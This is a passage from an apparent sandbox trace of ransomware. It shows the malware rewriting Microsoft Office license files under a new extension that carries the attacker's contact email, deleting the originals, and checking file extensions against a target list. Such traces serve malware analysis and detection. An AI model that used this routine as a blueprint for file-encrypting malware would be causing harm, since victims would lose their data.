Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0287.013] GetLastError () returned 0x0 [0287.013] ReadFile (in: hFile=0x41c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x564b, lpOverlapped=0x0) returned 1 [0287.088] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x5650, lpOverlapped=0x0) returned 1 [0287.090] ReadFile (in: hFile=0x41c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.090] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x112, lpOverlapped=0x0) returned 1 [0287.090] SetEndOfFile (hFile=0x540) returned 1 [0287.090] CloseHandle (hObject=0x540) returned 1 [0287.090] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.091] SetEndOfFile (hFile=0x41c) returned 1 [0287.094] CloseHandle (hObject=0x41c) returned 1 [0287.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.235] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms")) returned 1 [0287.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0287.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0287.235] lstrlenW (lpString=".doc") returned 4 [0287.235] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.236] lstrlenW (lpString=".docx") returned 5 [0287.236] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.236] lstrlenW (lpString=".pdf") returned 4 [0287.236] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.236] lstrlenW (lpString=".xls") returned 4 [0287.236] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.236] lstrlenW (lpString=".xlsx") returned 5 [0287.236] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.236] lstrlenW (lpString=".ppt") returned 4 [0287.236] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0287.236] lstrlenW (lpString=".zip") returned 4 [0287.236] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.236] lstrlenW (lpString=".rar") returned 4 [0287.236] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.236] lstrlenW (lpString=".bz2") returned 4 [0287.236] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.236] lstrlenW (lpString=".7z") returned 3 [0287.236] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0287.236] lstrlenW (lpString=".dbf") returned 4 [0287.236] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0287.236] lstrlenW (lpString=".1cd") returned 4 [0287.236] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0287.236] lstrlenW (lpString=".jpg") returned 4 [0287.237] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.237] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=11613) returned 1 [0287.237] CloseHandle (hObject=0x568) returned 1 [0287.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms")) returned 0x220 [0287.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0287.238] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.238] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0287.239] GetLastError () returned 0x0 [0287.239] ReadFile (in: hFile=0x568, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x2d5d, lpOverlapped=0x0) returned 1 [0287.241] WriteFile (in: hFile=0x394, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0287.242] ReadFile (in: hFile=0x568, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.243] WriteFile (in: hFile=0x394, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x11a, lpOverlapped=0x0) returned 1 [0287.243] SetEndOfFile (hFile=0x394) returned 1 [0287.243] CloseHandle (hObject=0x394) returned 1 [0287.243] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.243] SetEndOfFile (hFile=0x568) returned 1 [0287.246] CloseHandle (hObject=0x568) returned 1 [0287.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms")) returned 1 [0287.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0287.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0287.248] lstrlenW (lpString=".doc") returned 4 [0287.248] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.248] lstrlenW (lpString=".docx") returned 5 [0287.248] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.249] lstrlenW (lpString=".pdf") returned 4 [0287.249] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.249] lstrlenW (lpString=".xls") returned 4 [0287.249] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.249] lstrlenW (lpString=".xlsx") returned 5 [0287.249] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.249] lstrlenW (lpString=".ppt") returned 4 [0287.249] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0287.249] lstrlenW (lpString=".zip") returned 4 [0287.249] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.249] lstrlenW (lpString=".rar") returned 4 [0287.249] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.249] lstrlenW (lpString=".bz2") returned 4 [0287.249] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.249] lstrlenW (lpString=".7z") returned 3 [0287.249] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0287.249] lstrlenW (lpString=".dbf") returned 4 [0287.249] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0287.249] lstrlenW (lpString=".1cd") returned 4 [0287.249] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0287.249] lstrlenW (lpString=".jpg") returned 4 [0287.249] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.700] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=19958) returned 1 [0287.700] CloseHandle (hObject=0x49c) returned 1 [0287.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms")) returned 0x220 [0287.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0287.701] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.701] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0287.703] GetLastError () returned 0x0 [0287.703] ReadFile (in: hFile=0x49c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x4df6, lpOverlapped=0x0) returned 1 [0287.728] WriteFile (in: hFile=0x570, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0287.729] ReadFile (in: hFile=0x49c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.729] WriteFile (in: hFile=0x570, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x11a, lpOverlapped=0x0) returned 1 [0287.729] SetEndOfFile (hFile=0x570) returned 1 [0287.729] CloseHandle (hObject=0x570) returned 1 [0287.729] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.729] SetEndOfFile (hFile=0x49c) returned 1 [0287.736] CloseHandle (hObject=0x49c) returned 1 [0287.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.737] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms")) returned 1 [0287.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0287.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0287.755] lstrlenW (lpString=".doc") returned 4 [0287.755] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.755] lstrlenW (lpString=".docx") returned 5 [0287.755] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.755] lstrlenW (lpString=".pdf") returned 4 [0287.755] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.755] lstrlenW (lpString=".xls") returned 4 [0287.755] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.755] lstrlenW (lpString=".xlsx") returned 5 [0287.755] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.755] lstrlenW (lpString=".ppt") returned 4 [0287.755] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0287.755] lstrlenW (lpString=".zip") returned 4 [0287.756] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.756] lstrlenW (lpString=".rar") returned 4 [0287.756] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.756] lstrlenW (lpString=".bz2") returned 4 [0287.756] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.756] lstrlenW (lpString=".7z") returned 3 [0287.756] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0287.756] lstrlenW (lpString=".dbf") returned 4 [0287.756] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0287.756] lstrlenW (lpString=".1cd") returned 4 [0287.756] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0287.756] lstrlenW (lpString=".jpg") returned 4 [0287.756] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.757] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=10659) returned 1 [0287.757] CloseHandle (hObject=0x49c) returned 1 [0287.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms")) returned 0x220 [0287.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0287.758] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.758] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0287.759] GetLastError () returned 0x0 [0287.760] ReadFile (in: hFile=0x49c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x29a3, lpOverlapped=0x0) returned 1 [0287.761] WriteFile (in: hFile=0x570, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0287.763] ReadFile (in: hFile=0x49c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.763] WriteFile (in: hFile=0x570, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x112, lpOverlapped=0x0) returned 1 [0287.763] SetEndOfFile (hFile=0x570) returned 1 [0287.763] CloseHandle (hObject=0x570) returned 1 [0287.763] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.763] SetEndOfFile (hFile=0x49c) returned 1 [0287.766] CloseHandle (hObject=0x49c) returned 1 [0287.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.767] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms")) returned 1 [0287.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0287.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0287.768] lstrlenW (lpString=".doc") returned 4 [0287.768] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.768] lstrlenW (lpString=".docx") returned 5 [0287.768] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.768] lstrlenW (lpString=".pdf") returned 4 [0287.768] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.768] lstrlenW (lpString=".xls") returned 4 [0287.768] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.768] lstrlenW (lpString=".xlsx") returned 5 [0287.768] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.768] lstrlenW (lpString=".ppt") returned 4 [0287.768] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0287.768] lstrlenW (lpString=".zip") returned 4 [0287.768] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.768] lstrlenW (lpString=".rar") returned 4 [0287.768] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.768] lstrlenW (lpString=".bz2") returned 4 [0287.769] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.769] lstrlenW (lpString=".7z") returned 3 [0287.769] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0287.769] lstrlenW (lpString=".dbf") returned 4 [0287.769] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0287.769] lstrlenW (lpString=".1cd") returned 4 [0287.769] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0287.769] lstrlenW (lpString=".jpg") returned 4 [0287.769] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.770] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=21606) returned 1 [0287.770] CloseHandle (hObject=0x49c) returned 1 [0287.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms")) returned 0x220 [0287.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0287.772] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.772] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0287.773] GetLastError () returned 0x0 [0287.773] ReadFile (in: hFile=0x49c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x5466, lpOverlapped=0x0) returned 1 [0287.787] WriteFile (in: hFile=0x570, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x5470, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x5470, lpOverlapped=0x0) returned 1 [0287.788] ReadFile (in: hFile=0x49c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.788] WriteFile (in: hFile=0x570, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x114, lpOverlapped=0x0) returned 1 [0287.788] SetEndOfFile (hFile=0x570) returned 1 [0287.788] CloseHandle (hObject=0x570) returned 1 [0287.789] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, 